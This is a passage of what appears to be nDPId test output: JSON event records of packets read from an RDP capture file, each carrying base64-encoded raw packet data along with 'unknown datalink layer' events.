45Wddwz85X9xfok3\/1Wot4TFSIXJbvI6mmbA5VLrFk1Kmdj13qhs0tgH5K351e1wbARUEJI4hq02WurO+K69QAj3YwBoI3cTteDHo6vqzaG15qPRdjpDezareCmyOAxdqvhIeNCS\/xofEROOjV7lj5\/nwPnAgj1gaW9vQGKfF3CI7j8ulighL1gpaR44sZOvuydKeuj6vdzF32Wu5dB3qMBam82jz6xWlR7b9c5tTVO6bEhwSO09Uz8yN11VAzmrIg9tKJ8WUPwo48biWVt+JLQ+lb8R7s\/ZI8lJBgJj6sP9BOaXpEfQtUXqjNGMRQbh3OzDzLpJoYmoyiq5q+CvSUAPwANpTMByxqCYxBQWUGseUys8s2dLKD1yRKGiPs0u4sAfmeaWh3BCGEgqje1crJg0CYYhZTNXwUaTXmohLV0r2aZD\/JHk2H9Guy4VAtMt4o4uzLIS6f2dgf9DUlqF6oZV9\/iNsEBUy9N0iINIEgnC\/dnLZh9xfFcVzgSgvN8wxan0Ou+EYbtmUoqOa2uAblN3F+BxzWQ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1437,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1438,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496483,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNidkAAfwYl38CoAo6sEAK5DT3NDkefcS\/5vRrEUBj3XNhiAABwti2MpLjz\/HTWukqFvE0XBNQVE2bhIfFKz8rrrXQ2KRQY43QtjX6tv1TbkSSWDx3m1oP8Qb0dKnL8gtoqBqUusQkMdieNNorjt\/lgia34xhXS2OzAQvCvfOtNoYccWRxtC2sHkC1uQ+tq+5bwGag845w1vX+\/zduZ+yBPEAvYEiTkagEwBXY5ehLfP2u6yQ0J6YNC2gzPOX6LhXwRcCq3AI6txBBCSXevhzZJ4wH4aNtgBKLf\/YdLmgGKw3wNQpMxo6Sjv7mSuu1ja2Fcxyn3hifIDp0hXnLSy9e\/+39pZNl2120tTEsEzTQk3Rm+Y7orjnD1nNowclKaAThrMV7sADzmUKVQfbCv6r7\/VPwo55PeACIcPyiJxMEqzrmeDZ5V\/TFWCxwBQPYrnbXmXtgQhlkSpIOOKIWGJK2A66heQUdKQIMycWm43dLncKxQ8vSV0kLSuQtZMgOhXqXcg3kgjuNHXZF6Oj0mKw3zyHZNi5ZKfP2QK+t0z0B2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1438,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1439,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496513,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G91Hn3KqUBAf9HOwAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1439,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1440,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496549,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFid0AAfwYiYMCoAo6sEAK5DT3NDkefcqr5vRrEUBD3XOCvAAAXAwMGbwAAAAAAAAHT8cvZTNiRtjR0eO6xJFf0k9dphmo0BHCUMaqv3UfOcwz+8eIsr+ZE9wNsDeMvtQFPGO5b4Za\/i2MJsJ4XMJfzX+nyNauwJjcchVxvhUQkqoCVVrtcEHJfF51wb2KWtlHOlaJnouFozm6fmV3cKts6SQeXaBPxVwvVhHEodGaPXYXrag6exePVgzsAZyzXPklX\/9vsMQpvisg75OmUSQjynjtILcNDTkRA96od+E\/Q2pf1c2gui2+oVes\/+jcSfpVx19CWv97\/mq6CBDE18rn78bSPNhYJYWoxIdXfkpbMYJhW29yAkEdD+FfVqEZO7b8ukhNTnbl9C1y+sXFUBD9ximE4YXOCDCPeIjyqoz7ZzYjqmoN\/4iOcHSvlI3zDzkSUmLR0gVJtCTfAhtLfTVxbNVl+Z18EHpE8q+T1\/2jdS8qArxcbDPG3fp0SWaHkIBo5480r4MAh7mJOHiF92SAzzKLuMNT\/d3IJxEvspbSRkeNQlGBiBYTfzhEMrRVTJMOu\/dqE+vm21wKSbePpMHqvTKjNOZKu9eY6BaA1i2y+zMKe3Cc7xMnqMu1im68qbVI6oUgpxvwrXKMH5YW5YoajQ0a3eHFLDTtQ7HVAg8LmOw+4twbNjIp+CohYKnEI6tJ2fDBhqWOgFWZJvsdLqh89PNTQ1v+t7DXtOas0SquOJjQQawWxhmUIXAnqQFOwBBrVys75uQwriTzyGa1ZCej1kSSS2uM3AE0oAJnLV3rYRSeKEgCnsIFymJs4zIpE8y2jyn4Pr8Xos0SItSR2YNtvSWVwKfUgDqS8fCzbsyObOa+fykESBqV3yQ1r8XP4BafVg1IoyOGDnG84EfxD064Htiyls4i4R9HiN2fZTvtsK5ln6AfnGSyRcG6L6DiqpTt0nsPt5MCrCA0mOshnyBszlphuzVdX8jQgLLKWk8qNNl+GbYAOoQ4ybvVtGgNWkLg7hpmCm+9OW5C2KF1u8k\/yBgcCRxyDTD\/TM8\/jPNLSYZTYOJig5dbEaAkT\/Dz9pHfzxzV63ZBfIeFjH+QXRWJHJhF49YxuZUnL\/4aLd22qFz+Zvt2XInm8nNzSj6ADdVX27TqkHMsPeMckl9M6PTsDCIuEeYkXI9A1BYt3akZpo106uiHrTicEnflK2whNQbV3ez\/dkzRSF\/d6Ee7HG04kc91sRGEenEEZ9BL5iDoIE21vU8jwoZw9Ec82i7lSMMJ9avMOSFCLBmYBqEPtQIz59hMiYWoh19lOJSDQlCJbkMpJOngYRpRjr7PNF1u7iJbgfFoqFSol9rWFI2fa4zqaOJq0tJ9FItt+VUr7kjm4kHV4n2b+ZuG91WqVsMKg5mP\/0VL2JM2NOoMVnsQPHF\/25fpfCI5GuwG6R\/e0L7VninopxVNUe2zIFhRBz41eTWqlYOprLy6ABmZAYVcKtj2Bx8fj0PJJYh\/F2jfbrx3B\/kYqVFOPmESV\/yfbtfC5CR1lFvxz6xUG1TXlzE5VuInGFcO\/YxD4ec3jVMH3Yj9PExGOCKC5XduIHQz9nAeOMZKXxJ9v2TutYLTjJlfsr+pJ5C2izOHRc1\/\/U8Mr\/3WiAOK1\/wwkjH9W0PlJn0NkxAeSD58+zgp0GSMOcrrDRLfZenKaXcUL2vyXXkezxCm4sZJkEZGp4rE0B0cCyfaNQwtzWKLnFOOLtUNEyxRT"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1440,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1441,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496766,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNieEAAfwYl3cCoAo6sEAK5DT3NDkefd6P5vRrEUBj3XMO3AAA9F5rlRtP13mwEifWaG605IJh+fnvhTSA045NZkoihqHzMC+YmUZtQE3vJ1VT5rSAyfkcD0MiRYjq\/gBLUOWLHl69BbH8avD1d5BYBy36hUBiFhz75ZUU0FPT9OanvMMvp+UIsMb2nBFiBq+A0eA7vvuGSxhzx\/xvJKWw55d4xzTe0aSg8bGTN\/VCeT3SPriyxTu8iodKMkOAALVKRs6eWFhNOoTRBuGf93k+DTjp\/eaKxcC4rTxWd\/pBVkTOz1VQKfwat0tBZ1Qg2RObx+4Npup5qHjZqNTHJSEUawoSTB+tmnmfukquPPWVoQf87eEV6prLTB5aCdHdvscmVjYSS2rHPsUrggTxgf4rrNnymGMtRCeCbsY2JtuUNvwQ645L3pRcaYioW5NtZDpWXKGE1kwO8e4Fx0WkrDj5zh12rTKQPTMrzgpk1h\/8RwbJ1pKuijOYz5Rz65IEMVt7TUWdKIrzHlxdlmuyePNdW+KNW328tNwB6vumA67gm"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1441,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1442,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496801,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G91Hn3keUBAf9G08AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1442,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02088{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1443,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":496982,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFieUAAfwYiXsCoAo6sEAK5DT3NDkefeR75vRrEUBD3XN4iAAAXAwMGbwAAAAAAAAHUK+7AuHhNATuw+zJnjdpp5WSXrN\/lDW7IMcISkQjX4gBBf6KkEcVjQ9RuHPOHTg7vuX8KKZKZjEOyWuIeF+GXu\/ghOkW2CCRXUlrw\/S6+cgo5QEeSNIXezxp7F1sM6BV8AAEgr+S\/tq1QqMicjVPovqBc9cC137b\/npcCsiaa1EO+uVDfDUGVHQQqwh\/s6vC0J\/rUCCBDtvlHAwNkYXs24wlm4F\/tOQmjnqHIq592q9AGBktfKRqME+P3M50\/LJxmnxJxaoQ2cNm8uMULE0bZXhBoC\/mrML2\/8Kx5k2wBLtgfzxU1XDS0RVMhq3jDJfxOaEpo2p8s7NqhN\/dortXPdOHjgblfPce1nVWJd1JOmSHrGN+JSVh6YsGT03E\/SOcHxZhmFguHInOdEvcAM3uHCLJi7rbSCpvEYNVcsOHpDsnk5kN9aw6Rdqa1ZsATmdtmhUwp9kTlR0G4PCQ2yFNfjVbAWu8pSKH52H+wPjnxjyE1oSm+qyL19tSlnfPRBE\/\/PTHdgVVYGULkO+\/l6xSKu59\/UxxvBmyZyTcyjYpL4AXI6bND1ZqMxgnxQaKXlg5bkwvBqqvMob8SmRkCpeKVd+LeAD1TRPe42cw187qpYuq4coU\/Qn+IZANB+6\/NIufvt2jCFPRadMVxZA+VmTP+4HemGosoBZcatC6LaHLHtpE2Z4\/0OMtIG4v8edJVKX2dBmrfzyjYF5raE44F9KZxZSXgE8dFcBeqokPoL1Kb0f74oEJTop6AvDDL9CyxWwXYcWdMyLiapq1n\/7vkGXJqbpcXTdLSFST\/R\/HukBm3Vku1Gr1iaRUUkzHIUzI0cz2ybDCIWixkHvoKjR9MxjveKw3P8iU2V7vjB+7P2I0623btiIt1f7WNj6XrFoNH1pY5ArPWGNuyFNnXPzlid8ZMjU21RdI+B+oxUUbPmh\/KSKxkqo8qNNtUFJcjcNEPVB2AnoG86NKnRqPS80D4N9xpNzzOIAvzkIV0fwrFNeWKT0LtsGfuNeTvYuzTQ2B7QWMK0whFw5LJ2O9NUp87I4J2ecHhVnCidldpWT9i92KNUQ1Lhv69z69JY6v5DlSQ9z\/BKZh+CoVWoA6L7uDoUXtjBseaf3gHesSU6D61zXDwRNwYlBslpVqwB29NqD75jiB\/\/WZ2yU\/FN\/R3Aufz24GE32hP19qFL\/v2CxA6mZUna2x4kWDTVwe7X7bFrzBkBZ5RwtWROZC7qSpaCG0Fy67EnIRIqiLfQxykPCpNVWvhpboCea9zypCcD2mREv1fn6ezdFf+34JIJPA\/b9sRBsr387pwjaZFaA+cytel\/MgmB1YYkGaPFeJ2iBaJl2GE+ucD2HShMXB7B7l4+aEEV4i2dkjk+MIFNLXJre7dKJQPqzA09\/kK\/Fgh5c16Tvwc7c8r03cN1kbH5uZCWwDItO8QDWics4dRRfgtSPRL0ZJsDwLrv8VqwSqOmu\/LALIV7MW4NVkLdsht5fVmDsb7myyxO3o95yic7v+fmK1t7pmVmm2NwgQX18LXisM+zsvsvKU\/x2oDX7fpxFi2I82vGRJ136cVXXzyzzamdPdp7NNXbe6EwaMMYcBNJQnin846eoj7QHwwDSvHsnUzddoc3tHir3V9tkWQZGgDGPZR8hYMjFvX61Vy0R+yQ8wH1pA4IHibRsuyP2+Akv\/GAr0j"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1443,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1444,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497048,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiekAAfwYl28CoAo6sEAK5DT3NDkeffhf5vRrEUBj3XKkGAAAR0nmn25Yilf2\/jZr0IKj4hAZabSkrbhzA38pNDO8ZiqVdcvWVy\/N4bx3NoFj8uJeK\/xSo6BcYeszMeIWlWVuW2ju2G9XDkp6YuM+RlrXiAa87bWhP4NT5vGnev0jWfLpMgyHNRr\/VxyLy39zJvpAItyG+FOsI6+2gWpxXERvPIhl7LochktWUEsDz4NnDLBenjetWkC7BHLIjQg98YG7AzQgoS8ct4mBI2+dbhf4zpCvJwgoAAv3VWzx26Ehw1C6s1ZRaNJ+M5CM47ofcMPrdy\/IlLWF\/rBk2UJtuCzlt6U06YPGB5kaYYIWwN\/Q1\/lOAXdujmzoJjmhO9eY1\/0V7SVSIRVVC0pt6OjeenhNwA1fCtVYYFw\/q5KXl3NL5RAfswZEOSwUuTeEkWqwxz55kTTBo8Mc\/lW0O6XyyXNzobsHf+thaMAHzvSC7OKUFZ3v21dKH0yex7P\/wNqZVI7rONuDycR8m83aAdkm9k7nEPXPVpgmI+sqDBB22"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1444,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1445,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497074,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G91Hn3+SUBAf9GbIAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1445,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1446,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497186,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ie0AAfwYnIMCoAo6sEAK5DT3NDkeff5L5vRrEUBj3XD2zAAAXAwMAMAAAAAAAAAHVOzOtPqoke0gwbRUENnf+fR\/pQd3XQoG4kXOzwpKa3Aw9WVy2fkxz8g=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1446,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1447,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497223,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9G91Hn3\/HUBAf\/maJAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1447,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1448,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497434,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9G91Hn3\/HUBggAIcRAAAXAwMAMOAIO32NJwwfAc6BTgxyFMaVfQcM+eVB3EhENGv8j0FB3ZfJVagmaescFzaaGTckvw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1448,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1449,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497474,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFifEAAfwYiW8CoAo6sEAK5DT3NDkeff8f5vRrEUBD3XBHjAAAXAwMGbwAAAAAAAAHWGMetJtH5vvbibe6MSP3Gjg\/ni0ZgKzRIIfvY87noPM7f9bBGsDKkhVZ+bmTTnZ1NRK6TaO3Li90tQgQQBNxctqIWM8vt68uHP0nw0cb4YZAQEHS49bQGs6at56Dx3KeVJ4kjKLhwiLGvkmxB9UW9wzGDVoS28nsT1LqttbPm6a4fQp\/SFK+6BsMcf+8ohBbs3j1vGKJ0Jaq7vJy8Zrbscb3goHcLaiGjuFP0niO0jHOJQ8kJRzv1YaS\/9oP7KC6wjTwDFnwZkW81v8J4fv4NBBOcfqqHNJoeeTkTzQ5n9GJHPIBUdYqVnvMkXqBCECkGrmvQBkwWSCgQWs3XCdSXwr6LmE\/gMWhJa9Hmco7dASQtSKTtsUXaeVCcPIw7HEPqI4xTPPYvVPGdSRUmjLK89p\/iMp0w8VuhYt2ZhwfRzJWLpWqU+9rNcOzIB4XLnDJUAgs4BJrY\/KidsYvuzutwCCwwgK8V6xWlGwX8YhIyYaphhMI1M2701JNml8fSu\/2JCT++bL\/K8trSyid4DKjqQohbE2yXn3wUPgm9frAiT9RqzL+fEQq1Tl6dNFZV2ftcnVC\/nMB3gaI4aFURHkZiJ4nx54QjHU76hJvCXy9cf8FmBI57N\/pRuMCYfiNoFOELzp6N7sDNRjRYf6Pz9iuKnSedgki5J1\/yg\/EjdayLlc1NJvs4x29vPp2+mzK36oecOyhLtknJPGV+m82QERHifmtqKQLXb+WvHPYd5oPl1tVr0zr\/5EOZYMUJrElTcXSK4pjqua\/Br3rlfp05iR11M89BDx9zdfPCeqWf4PmDHAZV6L35+\/psdM3pMrGJLyMHLMXo1xkfU8zPeoJAB\/ggH\/220nFQZfwXJaUxnvlD2L4wzgHAYeyIr3uIZepF55KadGQkI4DENkdCkZaoM8RG0pHlhhlYiJJKwnUEPN7uerj9tw88OMt3IVjFKvv0zBqU14pFRlrha4RYbM7dAdHq7dcab3hcubI9heW5fRTXx7f2hiKHxwczqwharerGBHRnLx4o\/yC\/\/Q5eaFBCUBZdouyxKBHUpuPlxq7BXCUWmJdffUVIXSSoLJjVRS7BZFk9MQf52mMk2stgWDX3p1NAquhmpWCSGjCHPBXnYF\/j9HjrMu1e7+wDbdhGLNwu\/vHl6BonMUenw+o8xp7BOWIrgTQm24zvivxPd1yfqBuoGiCPbs3jJbtcscRIjOU1aEcZPfjBr4I4lcX6EvqWLbYE6NO5mksxJViNczplZbXj3cQdqBDAXpQDlqUQ+6Vjh6qc4iTl0GS7LXxVMXCqCTttQZbz9AhMErT8sgAtoP2X95xxxZeXhQl8qcUk7vFmWJg5SOFDj2OkcHyPtxsV1OH0vagXILbSB49cb9a68PF2zZPBKYlRgcWUS3QIpYGw7\/KhNgfZI6\/DRU28OS7laTSKNnSLKUhNarMvvmueCU1Ql7wi5oJhQYDlOvPC4vcXArEbqTpgHxeWhr7BeFfaXPdDtKsewR5iYnh2FFaYoCSi0k6PEkhm\/wipMjEnwtvNs6Gp3EnwK+150728NzGj+poHnMFMuX4zr0nTWmFl4jAfPpV2pmYswtz5YBLCmdn3bk26aviWv4M7s7cMcs8u1QYZe6UhUYrHD\/piU16YMyWaDKkGnXLtEWKubOYiAP8c1FJAVBtBq8iOUaaU62zQ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1449,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1450,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497527,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNifUAAfwYl2MCoAo6sEAK5DT3NDkefhMD5vRrEUBj3XAnSAABq4sW5R8NAJUIJ6gOyRHKOfueopXW0eqTE2M+El89qat5Xtaa+S+ACYcv3sSCNecFISy4OPyMDZvpY4za+hFzExSHpE8o8w7zCzpv17utZ\/162r9BZNFfODQNI2ZelzQm0j5GjbFiS6yb9GWqhui2N+fqyvNNJnVZTWGEwKiz5jIGxM2AUSFQJwjdeNtjscAgXLKnto3QGRXl7B7jOWP3vh66eIdRnW6U2Ogf6nTYFHdFFRyFmSvGKiuByWa3PKtwdaieEdcsrZ8IGIQIF9bOqJ5CSsZ0mIeoEOkGG\/u3edM+9G6ny5yM5aazRm0MfEAZGlSfUiZO1RXSFomol03viTc1ruv5y7L2V7U7BJFVMfNhPkxOfFzb38m0f9dhYv6rJq7b05MZtyTG3dtPDqQ3fl5FjM7VjglGb5OhVSKpcbMUGTE0Lmf03lJzUSVIMgVOCTIDUKiNs0MzOAzNRs6dm0d1ANrf4IbNbWM1xcwsKP+WfXBPNYm2crYly"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1450,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1451,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497563,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9HBJHn4Y7UBAf9F\/qAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1451,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1452,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497780,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFifkAAfwYiWcCoAo6sEAK5DT3NDkefhjv5vRrEUBD3XNvPAAAXAwMGbwAAAAAAAAHXD\/3kucNZQ4v\/uiOcojEWV28eVbcwXmPWFf\/Qs4GhXti+MVPbyx90f5f35+UPRFmR4EC6QLxqfjbkw3leBykj2JtwmFsPGXFLsjRu15mmKYliD59+8FNV\/5C7UrnMjteChR+zQIMOF1S6pHMIJ53PJXvHmv0SovjiwrTQANypZcjMuwpijPQa\/LW9kBFSqw56ccsrEPn+YbwLDA0GAZoPlANkfYKg1+EpGvveVDYQNtj4c2NwTKLbwdqP12PPVQ\/K8ZmpUUVUzAxbemX8JAUY4nYoRPt+IFAxa56+8xvJGW8UWjQ0WreEF7AyOOaCni87VJqX9A4BAddEHpTG99pgfdJXsG\/j1fHUjeGnU6ElnnjidIARLlZPltidVUND75okwcYbUWsuKhVLYCVCgtPMVFBKbxsr73oTysSp+pgfNKQwpegy8ZMTwSaismuVO33uKR\/9lEB7v5Funa32GrHd6i5sH8B9jsMMyuVkAWn9moOTafhv9O77hUybb4k0aCfADDM+C6MRgphp6DJFFwzo\/gqx5nIyiYK74cbNGcVh8hx3TwHw6eD8zYTeXUginjVyvvSLLknC4UB06eRgnwqz6LfGJeI7I\/oGOMyC0tRLKYOpuc1KERBQE6E0iIspI9wBF2NzaLA+p9oF8lQAAwQ1vF1u5CTeaWIpTlbSpdmRpLbeGgFAOHVgrbhNB3LI003MRGWDcxoISZPD51dHOxE8T1LVDBWZbEigv8G5tpEuz02g+MP3rew64gPWwI3RN4nNBx0ZHTRdrCnENa05e5PHEH6fw9uFTRymNtAae4HmaDpcLDt7Jeq90bKRrrHCwvxNYVrWNCSAUJnCFuAGL4tbCJjUsU3anzOZj1t6kFuHU5E0V6POHcl7KzqRQN04algC8fx4Cq\/k6tw+LUKmT05\/G6WMxZOuEEK+isAB2oHh9ioW+MraSg55VEmfVzK7oyjRp2Krow4F6UoffGlMj9XiP0CM1fJGT2NuRAaDcYUiFdLNK4LSzZdrFxp\/+kjH+g9dHhj0iA+CTIwYhqW+Uc2QAzS\/K9RsKgLsGGqUvkrd7R45bncr2a2bIzeeuX92UMDfhY77L7Terp0BstqVy4VCYND6dqqT2C3X\/YZTFZVzZCqn3GZxjYvJPKb+cyeVUWxh0UJSA2vv2n\/0NlymwqOxJqQGzoXuzJOOlYMjzrNCCXNmF2P9d8cok0dK6pacN8lif1HfjJaTkJ4KJVznJpRKEdpbF9RHfxe3jY1oKK6MPjXaN\/W90UWS6U7mSXd3Uee21Xb42qQyG2v7nOj6t7\/5yqXkHsl2yj6wZttcauDdVHsWShOoLJtLdEMppGicb5gdJWmGK7dJgDfwjKy4UfWW\/luXPPdsAIqx1o1XxZdvP4y1EPUziEIjS9VLWedV7TYaJd5nQ\/R77RsXthWKssFZPIKjq\/yAY6WuHBrL2Z7KWQUvXZEeAceiAA+u3mZnc5RyOcIhhj2udpGLCnI\/8a5QLt5aQj\/FxYBza5qgsc\/lyrieOQDtr1rrwWryu9dlLIrgI6scs8xijnCJ\/vI+m0\/ycMf8YD5yvvsMY1YXq1XNoKzgLg4zgBTi9An5sdZRxFG0sGQyNKmGtHTVPlGCYTLsj601VY8e\/Xw5nMJ8Iad4XMIjAh+c8gIq9rID3OArNYAFmqp7fUxZrGS3p7w+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1452,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1453,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":497822,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNif0AAfwYl1sCoAo6sEAK5DT3NDkefizT5vRrEUBj3XBRWAACEGMjlKXYuzDxlX7bZ+hpBkvv1AX9brT++eAytL09MRXza7so05TUf0Eg2XgmulSsL1iwGJUU70h52stVMu0u9GQr+ARIKGHHOfZSCc2vM1eexgguXS+oJ1JRBtdD6c5ExdZhoCMxgVZAea0Czo5shGuHIVGZiyNJC3SAO9ovxGsudW+mrsmmIc8EVHuO1c3bnygb2ODb4jAZeutX2377bF8TvQwiVxqp6WGZVT5YdPfd5VI2r6xrvCayifi+nkWreLd7xP+2AFyu6UPQelt3dTT6kX5OxJNdpUjO9YwNESUTvh4\/sOnLpiCB9ERUn0I0t2sVeEYQAvQrRyLJkrkeVM85obk9nJyD4aZGohpZVsESXpzbcyOG3Rvq1XhRyg2+if91yrTtZEKar8u8aNUhHOAxzu5+reacjWH+sZz9FynPoWel8u6Rymaft0l\/ZNuw5t19+AcyNaisl0n6au9ClUfJdRDYNcs8k\/rYh0+U4f1HE\/e9au9xHr3WA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1453,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 